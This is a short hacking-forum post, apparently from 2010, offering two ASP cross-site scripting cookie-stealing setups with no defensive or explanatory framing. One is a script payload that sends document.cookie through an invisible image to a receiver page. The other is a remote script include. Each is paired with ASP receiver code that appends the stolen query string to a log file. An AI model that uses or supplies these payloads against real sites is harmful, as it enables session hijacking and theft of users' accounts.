WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 1986查看
  • 0回复

主题

好友

2712

积分

禁止访问

发表于 2010-2-2 20:47:42 |显示全部楼层
%3B -> ;

%3D -> =

ASP XSS:

1.<script>document.write('<img src="http://localhost/jk.asp?g='+document.cookie+'" width=0 height=0 />');</script>

<%
msg=Request.ServerVariables("QUERY_STRING")   
testfile=Server.MapPath("cook.txt")   
set fs=server.CreateObject("scripting.filesystemobject")   
set thisfile=fs.OpenTextFile(testfile,8,True,0)   
thisfile.Writeline(""&msg& "")   
thisfile.close   
set fs = nothing %>

2.<script src=http://localhost/1.js></script>

<%

dim fso,file,str        
str=unescape(request.Servervariables("QUERY_STRING"))    
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set fso = Server.CreateObject("Scripting.FileSystemObject") 
path = server.mappath("xxx.txt")     
set file=fso.opentextfile(path, ForAppending, TRUE)   
file.write("Xss:")
file.write(str)        
file.write vbCrLf       
file.close
set file = nothing        
set fso = nothing

%>

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-5-2 13:48 , Processed in 0.058025 second(s), 16 queries .

返回顶部